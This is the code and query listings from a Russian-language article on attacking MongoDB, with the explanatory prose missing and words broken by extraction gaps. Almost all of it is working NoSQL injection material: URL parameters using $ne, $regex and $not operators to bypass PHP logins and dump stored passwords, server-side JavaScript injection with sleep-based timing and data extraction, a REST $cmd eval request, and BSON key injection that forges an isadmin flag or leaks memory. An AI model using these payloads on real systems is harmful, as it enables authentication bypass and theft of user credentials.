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Удар 
по MongoDB

СЦЕНАРИИ АТАКИ 
НА NOSQL БАЗУ 
ДАННЫХ

http://vuln-host:28017/admin/$cmd/?fi lter_eval=
function(){ return db.version() }&limit=1

$q = array("name" => $_GET['login'], "password" => 

$_GET['password']);

$cursor = $collection->fi ndOne($q);

echo 'Name: ' . $cursor['name'];

echo 'Password: ' . $cursor['password'];

?login=admin&password=pa77w0rd
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db.items.fi ndOne({"name" :"admin", "password" : 
"pa77w0rd"})

db.items.fi nd({"name" :{$ne : "admin"}})

db.items.fi ndOne({"name" :"admin", 
"password" : {$ne : "1"}})

{
    "_id" : ObjectId("4fda5559e5afdc4e22000000"),
    "name" : "admin",
    "password" : "pa77w0rd"
}

$q = array("name" => "admin", "password" => 
array("\$ne" => "1"));

?login=admin&password[$ne]=1

db.items.fi nd({name: {$regex: "^y"}})

$cursor1 = $collection->fi nd(array("login" => $user, 
"pass" => $pass));

echo 'id: '. $obj2['id'] .'<br>login: '. 
$obj2['login'] .'<br>pass: '. $obj2['pass'] . '<br>';

?login[$regex]=^&password[$regex]=^

id: 1
login: Admin
pass: parol
id: 4
login: user2
pass: godloveman
id: 5
login: user3
pass: fuckthepolice=

?login[$not][$type]=1&password[$not][$type]=1

login: Admin
pass: parol
id: 4
login: user2
pass: godloveman
id: 5
login: user3
pass: fuckthepolice
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/?login=user&password= '; var loginn = tojson
(db.members.fi nd()[0]); var b='2

?login=user&password='; if (db.version() > "2") { 
sleep(10000); exit;  } var loginn =1; var b='2

$q = "function() { var loginn = '$login'; 
var passs = '$pass'; db.members.insert({id : 2, 
login : loginn, pass : passs}); }";

$login = $_GET['login'];
$pass = $_GET['password'];

$db->execute($q);

$cursor1 = $collection->fi nd(array("id" => 2));
foreach($cursor1 as $obj2){
    echo "Your login:".$obj2['login'];
    echo "<br>Your password:".$obj2['pass'];
}

?login=user&password=password

Your login:user
Your password:password

?login=user&password=';

/?login=user&password=1'; var a = '1

?login=user&password=1'; var loginn = db.version(); 
var b='

$q = "function() { var loginn = user; var passs = 
'1'; var loginn = db.version(); var b=''; db.members.
insert({id : 2, login : loginn, pass : passs}); }"
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> db.test.fi nd({})
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"),
  "name" : "admin", "isadmin" : true }
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"),
  "name" : "noadmin", "isadmin" : false }

>db.test.insert({ "name" : "noadmin2", 
"isadmin" : false})

>db.test.insert({ "name\x16\x00\x08isadmin\x00\x01\x00\
x00\x00\x00\x00" : "noadmin2", "isadmin" : false})

> db.test.fi nd({})
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), 
  "name" : "admin", "isadmin" : true }
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), 
  "name" : "noadmin", "isadmin" : false }
{ "_id" : ObjectId("5044ebf6a91b02e9a9b065e3"), 
  "name" : null, "isadmin" : true, "isadmin" : true }

> db.dropme.insert({"\x16\x00\x00\x00\x05hello\x00\x010\
x00\x00\x00world\x00\x00" : "world"})
> db.dropme.fi nd()
{ "_id" : ObjectId("50857a4663944834b98eb4cc"), 
  "" : null, 
  "hello" : BinData(0,"d29ybGQAAAAACREAAAAQ/4wJSCCPCeyF
jQkRAAAAAAAAAAAAWbcQAAAAMQAAAAEAAABgcicICAAAAAcAAACgKo0
JABw5NAMAAAAAAAAAAAAAAMQ3jAlmAGkAQQAAAEIAaQBuAEQAYQB0AG
EAKAAxADEAOQAsACIAYgAzAEoAcwBaAEEAQQBBAEEAQQBBAD0AIgApA
AAAdABSAFEAAAAiAGgAZQBsAGwAbwAiACAAOgAgAEIAaQBuAEQAYQB0
AGEAKAAxADEAOQAsAC...........................ACkALAAgACI
AFg==") }
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